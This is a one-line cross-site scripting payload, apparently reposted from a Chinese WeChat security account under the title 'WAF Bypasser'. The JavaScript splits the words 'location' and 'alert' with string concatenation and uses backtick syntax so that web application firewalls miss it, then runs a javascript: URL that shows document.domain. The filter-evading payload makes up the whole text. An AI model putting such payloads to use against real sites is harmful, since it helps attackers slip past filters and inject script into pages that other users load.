d=document,b='`',d['loca'+'tion']='javascript:aler'+'t'+b+domain+b
原文始发于微信公众号(Khan安全攻防实验室):WAF Bypasser